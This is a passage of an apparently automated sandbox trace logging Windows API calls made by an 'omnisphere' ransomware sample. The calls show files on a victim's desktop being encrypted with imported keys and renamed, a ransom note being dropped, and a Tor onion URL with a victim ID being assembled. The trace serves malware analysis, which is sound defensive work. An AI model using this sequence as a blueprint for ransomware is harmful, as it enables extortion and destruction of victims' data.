nFileSizeLow=0x24e, dwReserved0=0x0, dwReserved1=0xf5, cFileName="DECRYPT_FILES.lnk", cAlternateFileName="DECRYP~1.LNK")) returned 1 [0163.433] GetProcessHeap () returned 0x1600000 [0163.433] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x62) returned 0x163a730 [0163.434] PathCombineW (in: pszDest=0x163a730, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="DECRYPT_FILES.lnk" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\DECRYPT_FILES.lnk") returned="C:\\Users\\FD1HVy\\Desktop\\DECRYPT_FILES.lnk" [0163.434] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0163.434] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DECRYPT_FILES.lnk" (normalized: "c:\\users\\fd1hvy\\desktop\\decrypt_files.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.434] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=590) returned 1 [0163.434] GetTickCount () returned 0x116895b [0163.434] GetTickCount () returned 0x116895b [0163.434] GetTickCount () returned 0x116895b [0163.434] GetTickCount () returned 0x116895b [0163.434] GetTickCount () returned 0x116895b [0163.434] GetTickCount () returned 0x116895b [0163.434] GetTickCount () returned 0x116895b [0163.434] GetTickCount () returned 0x116895b [0163.434] GetTickCount () returned 0x116895b [0163.434] GetTickCount () returned 0x116895b [0163.434] GetTickCount () returned 0x116895b [0163.435] GetTickCount () returned 0x116895b [0163.435] GetTickCount () returned 0x116895b [0163.435] GetTickCount () returned 0x116895b [0163.435] GetTickCount () returned 0x116895b [0163.435] GetTickCount () returned 0x116895b [0163.435] GetTickCount () returned 0x116895b [0163.435] GetTickCount () returned 0x116895b [0163.435] GetTickCount () returned 0x116895b [0163.435] GetTickCount () returned 0x116895b [0163.435] GetTickCount () returned 0x116895b [0163.435] GetTickCount () returned 0x116895b [0163.435] GetTickCount () returned 0x116895b [0163.435] GetTickCount () returned 0x116895b [0163.435] GetTickCount () returned 0x116895b [0163.435] GetTickCount () returned 0x116895b [0163.435] GetTickCount () returned 0x116895b [0163.435] GetTickCount () returned 0x116895b [0163.435] GetTickCount () returned 0x116895b [0163.435] GetTickCount () returned 0x116895b [0163.435] GetTickCount () returned 0x116895b [0163.435] GetTickCount () returned 0x116895b [0163.435] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668ce0) returned 1 [0163.436] CryptImportKey (in: hProv=0x1668ce0, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x1639728) returned 1 [0163.436] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0163.436] CryptDestroyKey (hKey=0x1639728) returned 1 [0163.436] CryptReleaseContext (hProv=0x1668ce0, dwFlags=0x0) returned 1 [0163.436] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x24e, lpName=0x0) returned 0x380 [0163.436] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x24e) returned 0x1480000 [0163.437] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668df0) returned 1 [0163.437] CryptImportKey (in: hProv=0x1668df0, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x16396a8) returned 1 [0163.437] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0163.437] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0163.437] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.437] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.437] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.438] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.438] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.438] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.438] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.441] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.441] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.441] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.442] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.442] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.442] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.442] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.442] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.442] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.442] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.442] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.442] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.442] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.442] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.442] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.442] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.442] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.442] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.442] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.442] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.442] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.442] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.442] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.442] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.442] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.442] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.443] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.443] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.443] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.443] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.443] CryptDestroyKey (hKey=0x16396a8) returned 1 [0163.443] CryptReleaseContext (hProv=0x1668df0, dwFlags=0x0) returned 1 [0163.443] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x24e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.443] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0163.447] GetProcessHeap () returned 0x1600000 [0163.447] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x272) returned 0x17722d0 [0163.448] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\DECRYPT_FILES.lnk" (normalized: "c:\\users\\fd1hvy\\desktop\\decrypt_files.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\DECRYPT_FILES.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\decrypt_files.lnk.omnisphere")) returned 1 [0163.449] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\DECRYPT_FILES.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\DECRYPT_FILES.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\DECRYPT_FILES.lnk.omnisphere.id" [0163.449] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DECRYPT_FILES.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\decrypt_files.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0163.450] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0163.451] CloseHandle (hObject=0x3bc) returned 1 [0163.452] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0163.452] CloseHandle (hObject=0x380) returned 1 [0163.452] SetEndOfFile (hFile=0x39c) returned 1 [0163.453] FlushFileBuffers (hFile=0x39c) returned 1 [0163.456] CloseHandle (hObject=0x39c) returned 1 [0163.457] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\DECRYPT_FILES.lnk" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0163.457] GetProcessHeap () returned 0x1600000 [0163.457] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1772550 [0163.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0163.457] GetProcessHeap () returned 0x1600000 [0163.457] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733630 [0163.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733630, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0163.457] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0163.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0163.457] GetProcessHeap () returned 0x1600000 [0163.457] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f420 [0163.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f420, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0163.457] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0163.457] GetProcessHeap () returned 0x1600000 [0163.457] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x164d088 [0163.457] PathCombineW (in: pszDest=0x164d088, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0163.457] GetProcessHeap () returned 0x1600000 [0163.457] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x176e6c0 [0163.457] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.458] WriteFile (in: hFile=0x39c, lpBuffer=0x176e6c0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x176e6c0*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0163.458] CloseHandle (hObject=0x39c) returned 1 [0163.458] GetProcessHeap () returned 0x1600000 [0163.458] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1772550 | out: hHeap=0x1600000) returned 1 [0163.458] GetProcessHeap () returned 0x1600000 [0163.458] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a0a0 [0163.459] PathCombineW (in: pszDest=0x163a0a0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0163.459] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.459] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0163.459] CloseHandle (hObject=0x39c) returned 1 [0163.459] GetProcessHeap () returned 0x1600000 [0163.460] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a0a0 | out: hHeap=0x1600000) returned 1 [0163.460] GetProcessHeap () returned 0x1600000 [0163.460] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a730 | out: hHeap=0x1600000) returned 1 [0163.460] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0xf5, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0163.460] GetProcessHeap () returned 0x1600000 [0163.460] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x56) returned 0x163d8f8 [0163.460] PathCombineW (in: pszDest=0x163d8f8, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="desktop.ini" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\desktop.ini") returned="C:\\Users\\FD1HVy\\Desktop\\desktop.ini" [0163.460] StrStrW (lpFirst=".omnisphere", lpSrch=".ini") returned 0x0 [0163.460] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.460] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=282) returned 1 [0163.460] GetTickCount () returned 0x116897b [0163.460] GetTickCount () returned 0x116897b [0163.460] GetTickCount () returned 0x116897b [0163.460] GetTickCount () returned 0x116897b [0163.460] GetTickCount () returned 0x116897b [0163.460] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] GetTickCount () returned 0x116897b [0163.461] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x16688a0) returned 1 [0163.462] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x1639868) returned 1 [0163.462] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0163.462] CryptDestroyKey (hKey=0x1639868) returned 1 [0163.462] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0163.462] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11a, lpName=0x0) returned 0x380 [0163.462] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11a) returned 0x1480000 [0163.463] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668928) returned 1 [0163.463] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x16394e8) returned 1 [0163.463] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0163.463] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0163.463] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.464] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.464] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.464] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.464] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.464] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: 